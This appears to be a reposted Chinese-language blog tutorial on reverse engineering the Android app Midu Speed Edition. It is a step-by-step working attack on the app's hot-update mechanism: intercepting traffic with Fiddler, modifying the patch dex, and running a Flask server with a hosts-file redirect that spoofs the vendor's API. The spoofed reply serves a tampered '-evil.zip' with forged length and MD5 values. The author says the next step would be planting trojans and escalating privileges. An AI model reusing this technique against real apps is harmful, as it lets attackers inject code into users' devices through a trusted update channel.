Android逆向分析實例(四)-米讀極速版日志植入


准備:

1. 配置Fiddler抓包環境

2. 下載米讀極速版(密碼:d0r2)

3. Android手機/模擬器與電腦連同一個網絡

1. Fiddler配置

首先去官網下載最新版的Fiddler;

下載完后傻瓜式安裝就行了;

然后打開軟件,先不要急着抓包,首先點擊Tools -> Options

設置HTTPS選項;

設置Connections選項;

點擊Actions第二項"Export Root Certificate to Desktop"生成證書;這時候桌面會生成"FiddlerRoot.cer"證書文件;確定后關閉Fiddler;

2. 模擬器配置

我這里用的是模擬器(MuMu模擬器64位),手機配置也差不多!

打開模擬器設置,點擊WLAN -> 鼠標左鍵長按 -> 修改網絡;

手動設置代理 -> 代理主機名(本機ip) -> 代理端口;

將剛剛生成FiddlerRoot.cer文件導入模擬器並安裝(拷到模擬器的共享文件夾中);

至此抓包環境全部配置完畢;

3. 抓包

打開Fiddler,並在模擬器中啟動米讀極速版

在Fiddler中按 'Ctrl + F' 搜索 .zip后綴的文件(app客戶端熱更新時會向服務器發出請求,服務器會返回一個json格式的報文(json里標明了要下載的包的url以及版本等信息)供客戶端下載);

雙擊查看服務器的響應報文;

將json數據格式化:

{ "code": 0, "message": "成功", "showErr": 0, "currentTime": 1625142319, "data": { "data": [ { "sid": 499, "pkgId": 505, "url": "https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip", "length": 2730, "name": "ReadvoiceFix66", "version": "66", "md5": "ec8ab28b08261fe73f7c08d0f8c7cae0" } ] } }

在瀏覽器中輸入url:https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip

會下載一個名為 'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip' 的壓縮包,這個壓縮包里就包含着app打補丁或熱更新所需要的classes.dex文件。

壓縮包文件內容:

解壓后將classes.dex文件用jadx打開;(下面會查看MethodPatchEntry類是否被加載到內存中)

驗證該dex文件是否被加載,可以通過dex文件的類是否被加載到內存中來判斷!(判斷某個類是否被加載,為下文我們在該類的構造函數中插入日志輸出語句做鋪墊)。

4. Objection查看內存中加載的類

安裝objection;

$ pip install objection

附:objection用法學習見:Frida進階:內存漫游、hook anywhere、抓包

這里可以用Objection 來查看內存中是否加載了某個類(用frida也可以,但是相對要麻煩些,因為frida要編寫腳本,並且加載的類很多,要想全部輸出顯示必須輸出到文件中才好查找目標類)

首先在模擬器中開啟frida,frida配置可以轉到這篇文章:Frida框架配置

新建命令行窗口:

$ frida-ps -U  #查看所有進程

objection注入進程:

$ objection -g com.lechuan.mdwz explore

查看MethodPatchEntry類是否被加載:

$ android hooking search classes MethodPatchEntry

可以看到在內存中搜索到了這個類;

5. 修改classes.dex文件

首先用apktool將classes.dex文件反編譯成smali文件,接下來修改MethodPatchEntry.smali文件,加入日志輸出語句(盡量寫在構造函數中,因為構造函數一定會被調用,而其它函數不一定);

修改完后重打包成classes.dex文件,將dex文件和MANIFEST.MF文件壓縮,命名為'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip'。

6. 將修改后的.zip文件提供給app執行

編寫midu-server.py

from flask import Flask,jsonify import time app = Flask(__name__) @app.route('/app/getHotFixV2/20') #當執行GET https//127.0.0.1/app/getHotFixV2/20 請求時會執行下面的request_server()函數(但是客戶端發送的請求是 GET https://api-platform.1sapp.com/app/getHotFixV2/20,怎樣在客戶端發送這個請求時也執行下面的函數呢?這就要用到下文的hosts),並返回respon里的json數據給app。這里我們首先把剛剛修改的.zip文件上傳到自己的服務器上,並將url地址改成我們自己服務器上的.zip文件地址,然后修改文件的length(字節大小)和md5值,最后加上本地的證書 def request_server(): respon = { "code": 0, "message": "成功", "showErr": 0, "currentTime": 1625035561, "data": { "data": [ { 
            "sid": 499, "pkgId": 505, "url": "http://download.lxh2cwl.xyz/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip", "length": 2797, "name": "ReadvoiceFix66", "version": "66", "md5": "11b5662257d99005054c05f5f242e826" } ] } } return jsonify(respon) app.run('0.0.0.0', debug=True, port=443, ssl_context=('localhost/cert.pem', 'localhost/key.pem'))  #本地證書

生成本地證書可以看這篇文章:cert.pem和key.pem文件生成,如果不想自己生成,也可以從這里下載:localhost.zip

flask學習可以跳轉到這:https://www.w3cschool.cn/flask/flask_routing.html

生成文件的md5值:MD5.py

import hashlib import os def get_md5(file_path1): f = open(file_path,'rb') md5_obj = hashlib.md5() while True: d = f.read(8096) if not d: break md5_obj.update(d) hash_code = md5_obj.hexdigest() f.close() md5 = str(hash_code).lower() return md5 if __name__ == "__main__": file_path = r'C:\Users\lxh\Desktop\米讀極速版\miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip' #修改文件路徑 md5 = get_md5(file_path) print(md5)

進入到C:\Windows\System32\drivers\etc,修改本地的hosts文件:

image

這里我們需要將本地的ip與米讀極速版的服務器域名 api-platform.1sapp.com 綁定,以便app客戶端發出 GET https://api-platform.1sapp.com/app/getHotFixV2/20 請求時相當於 GET https://127.0.0.1/app/getHotFixV2/20,然后本地會返回一個修改后的json數據給客戶端,客戶端就會根據json中的url地址去我們自己的服務器上下載已經修改過的.zip壓縮包。

拓展:

hosts文件的作用:就是將一些常用的網址域名與其對應的IP地址建立一個關聯“數據庫”,當用戶在瀏覽器中輸入一個需要登錄的網址時,系統會首先自動從Hosts文件中尋找對應的IP地址,一旦找到,系統會立即打開對應網頁,如果沒有找到,則系統會再將網址提交DNS域名解析服務器進行IP地址的解析。

域名與IP的關系

  1. 你要瀏覽網頁需要在整個互聯網上找到對方的電腦,那你就需要輸入對方的IP才可以訪問,比如大家可以在瀏覽器里輸入這個IP地址【14.215.177.39】你們可以看看打開的是不是百度的首頁。你靠着IP地址可以訪問百度,你輸入https://www.baidu.com也可以上百度,這是什么原理呢?
  2. 在早期的時候,上網就是這么麻煩,你想要訪問對方的網站,你必須要知道對方的IP,然后在你的瀏覽器里輸入IP地址,然后就可以訪問了,但是IP地址是4組數字,記IP地址的難度不亞於背一個陌生人的手機號,於是乎,我們用一串英文字母來代替IP地址,這就是網站域名,比如百度的網站域名就是https://www.baidu.com,而百度的IP地址就是14.215.177.39,網站域名很好記,而且域名也可以自定義。
  3. 但是這里就有一個問題了,你輸入的是域名,你的電腦該怎么將他變成IP地址呢?就比如你輸入的是https://www.baidu.com,為什么你的電腦知道對方的IP是14.215.177.39呢?這個東西就是hosts文件,hosts文件就在你的C:\windows\system32\drivers\etc文件夾下,他相當於電腦的電話本,他記錄着每一個域名對應的IP地址,當你輸入域名而不是IP的時候,他就會在這個電話本里找到對應的域名,然后把他轉化成IP地址。

DNS解析服務器

  1. 但是這樣也有問題,那就是Hosts文件是有限的,就和你不可能擁有這個世界上所有人的電話號碼一樣。既然我們自己不可能擁有全世界所有人的電話號碼,但是我們可以將收集電話號碼這個任務交給一個專門來干這個活的人,然后大家想要問電話的時候去他那查一下就可以了。
  2. 這就是DNS服務器,DNS服務器有着相當全的域名和IP,當你輸入一串網站的時候,這串網站並不會直接訪問,而是先將這個網站發送給DNS服務器,DNS服務器幫你把這串網站變成了IP地址,然后返回給你的電腦。

什么是DNS劫持?

  1. DNS服務器會告訴你A網站的IP是A,B網站的IP是B,那假如你輸入的A網站域名,但是他給你B的IP,你是不是就訪問到別的網站去了?
  2. 既然DNS服務器可以這么玩,我們是不是可以將用戶引導到我的網站上?比如你要看個電影,然后你輸入了愛奇藝的官網,然后我作為DNS服務器,我把優酷的IP返回給你,最后就是你雖然輸入的愛奇藝官網,但是卻得到了優酷的IP並訪問了優酷的IP,進入了優酷的網站上。

7. 最終步

這里有個坑:米聊極速版app只有在第一次啟動時才會下載那個.zip文件(這一點當時困擾了我好久),所以我們首先得重新安裝這個app。

  1. 新建cmd,准備日志輸出
$ adb logcat > E:/midu.txt  #保存在E盤根目錄下,文件名為midu.txt

2. 運行midu-server.py

$ python midu-server.py

3. 重新打開fidder

4. 啟動米讀極速版app

在日志輸出窗戶輸入Ctrl + C停止日志抓取,然后在E盤根目錄打開midu.txt文件,搜索'lvxinghang'

可以看到app成功輸出了我們加入的日志!

輸出日志對我們來說沒有什么用處,真正有用的地方是利用這一點植入自己的木馬code,然后獲取app的一些信息,提權等,但這個自己目前還不會,后面還得繼續學習~~

附:我們的dex文件會被下載到模擬器中的 /data/data/com.lechuan.mdwz/app_andpatch/b5e4499d54918452539abe20935a3ebe/comlechuanmdwz/ReadvoiceFix66_66 目錄下

我的公眾號

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM